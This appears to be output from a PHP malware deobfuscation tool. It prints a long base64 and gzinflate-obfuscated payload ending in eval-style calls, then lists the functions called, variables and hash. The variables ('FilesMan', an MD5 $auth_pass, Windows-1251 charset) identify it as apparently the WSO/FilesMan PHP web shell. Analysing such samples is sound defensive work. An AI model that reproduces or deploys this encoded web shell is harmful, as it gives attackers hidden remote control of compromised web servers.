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'\x29\x29\x29\x3B",".");

Function Calls

gzinflate 2
preg_replace 1
base64_decode 2

Variables

$color #ddffff
$auth_pass 6d865d85813b1261953b3e79cdb04716
$default_action FilesMan
$default_charset Windows-1251
$default_use_ajax True

Stats

MD5 072e8811ad1e5c5cbd0ab45ca9ae32cb
Eval Count 3
Decode Time 120 ms